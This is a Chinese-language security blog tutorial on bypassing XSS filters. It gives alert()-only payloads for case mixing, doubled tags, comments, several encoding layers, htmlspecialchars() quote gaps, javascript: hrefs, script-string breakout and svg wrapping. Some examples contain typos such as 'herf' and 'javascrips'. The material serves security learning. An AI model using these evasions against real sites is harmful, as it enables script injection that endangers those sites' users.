首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >XSS绕过技巧

XSS绕过技巧

作者头像
cultureSun
发布2023-05-18 14:52:21
发布2023-05-18 14:52:21
1.1K00
代码可运行
举报
文章被收录于专栏:cultureSun学安全cultureSun学安全
运行总次数:0
代码可运行

简介

目前,基本上所有的网站都会防止XSS攻击,会过滤XSS恶意代码。所以学会一定的绕过技巧必不可少。

详解

大小写混合绕过

代码语言:javascript
代码运行次数:0
运行
复制
payload:<sCRipT>alert('喝了两瓶')</sCrIPt>  

JavaScript

双写绕过

代码语言:javascript
代码运行次数:0
运行
复制
payload:<sc<script>ript>alert('卡姐姐哦')</scr<script>ipt>  

JavaScript

注释绕过

代码语言:javascript
代码运行次数:0
运行
复制
payload:<sc<!--test-->ript>alert('看见哈桑')</scr<!--tshauie-->ipt>  

JavaScript

编码绕过

思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入。 注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的。

一次编码案例

代码语言:javascript
代码运行次数:0
运行
复制
#使用事件属性onerror()的原始payload:   
<img src=# onerror=alert('yangshuang')"/>  
  
#使用HTML_ENTITY编码后的payload:  
<a src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>  

JavaScript

多次编码案例解析如下编码

代码语言:javascript
代码运行次数:0
运行
复制
#原始payload  
  
<a herf="javascrips:alert(XSS)">  </a>  
#使用unicode的UTF-16编码alert这个字符  
<a herf="javascrips:\u0061\u006C\u0065\u0072\u0074(XSS)">  </a>  
#再用url编码alert的中间结果  
<a herf="javascrips:%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074(XSS)">  </a>  
#最后用html实体编码,再编码整个payload  
太长了,略  

JavaScript

htmlspecialchars()函数绕过

htmlspecialchars()函数是一种常用的PHP函数,用于将特殊字符转换为HTML实体,以防止跨站脚本攻击(XSS)。

代码语言:javascript
代码运行次数:0
运行
复制
#该函数的语法:  
htmlspecialchars(string,flags,character-set,double_encode)  
#可用的quotestyle类型:  
ENT_COMPAT - 默认,仅编码双引号  
ENT_QUOTES - 编码双引号和单引号  
ENT_NOQUOTES - 不编码任何引号  
#预定义的字符是:  
& (和号)   成为 &amp           
" (双引号) 成为 &quot             
’ (单引号) 成为 &#039                       
< (小于)   成为 &lt                      
> (大于)   成为 &gt  

PHP

过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

代码语言:javascript
代码运行次数:0
运行
复制
# 默认配置下,可使用以下语句绕过:  
q' onclick='alert(111)'  

JavaScript

href伪协议绕过

当输入的值在 a 标签 herf 里

代码语言:javascript
代码运行次数:0
运行
复制
payload:javascript:alert(1111)  

JavaScript

直接代入 a 标签 herf 里面,一样可以绕过 htmlspecialchars()函数

js输出绕过

当目标是用JavaScript脚本输出的,只需闭合原有的表情即可插入代码

代码语言:javascript
代码运行次数:0
运行
复制
<script> $ms='          11111111'</script><script>alert(1111)</script> ;  

JavaScript

标签绕过

当输入< script >alert(XSS);</ script >没有反应的时候 可以再前边加上<svg>

代码语言:javascript
代码运行次数:0
运行
复制
<svg><script>alert(XSS);</script>  

JavaScript

当浏览器解析到<svg>标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签。而在这一套新的标准遵循XML解析规则,在XML中实体编码会自动转义,重新来一遍标签开启状态,此时就会执行xss了。

结语

记忆,总会传承下去,无论是用何种方式。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • 详解
    • 大小写混合绕过
    • 双写绕过
    • 注释绕过
    • 编码绕过
      • 一次编码案例
      • 多次编码案例解析如下编码
    • htmlspecialchars()函数绕过
    • href伪协议绕过
    • js输出绕过
    • 标签绕过
  • 结语
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档